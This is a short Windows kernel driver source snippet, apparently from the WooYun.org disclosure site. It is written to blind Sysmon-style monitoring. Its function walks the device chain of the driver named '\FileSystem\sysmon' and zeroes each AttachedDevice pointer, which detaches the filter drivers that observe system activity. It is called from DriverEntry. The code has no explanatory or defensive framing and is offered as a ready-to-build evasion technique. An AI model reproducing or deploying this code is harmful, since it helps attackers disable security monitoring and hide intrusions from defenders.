WooYun.org

void FuckFilters(WCHAR * Name)
{
	UNICODE_STRING TName;
	PDRIVER_OBJECT TDrvObj;
	PDEVICE_OBJECT CurrentDevice;
	NTSTATUS status;
	RtlInitUnicodeString ( &TName, Name);
	status = ObReferenceObjectByName( &TName,
		OBJ_CASE_INSENSITIVE,
		NULL,
		0,
		*IoDriverObjectType,
		KernelMode,    
		NULL,
		(PVOID*)&TDrvObj);
	if(NT_SUCCESS(status))
	{
		if(TDrvObj)
		{
			CurrentDevice = TDrvObj->DeviceObject;
			while(CurrentDevice != NULL )
			{
				CurrentDevice->AttachedDevice = 0;
				CurrentDevice = CurrentDevice->NextDevice; 
			}
			ObDereferenceObject(TDrvObj);
		}
	}
}
NTSTATUS DriverEntry(
    IN OUT PDRIVER_OBJECT   DriverObject,
    IN PUNICODE_STRING      RegistryPath
    )
{
  FuckFilters(L"\\FileSystem\\sysmon");
}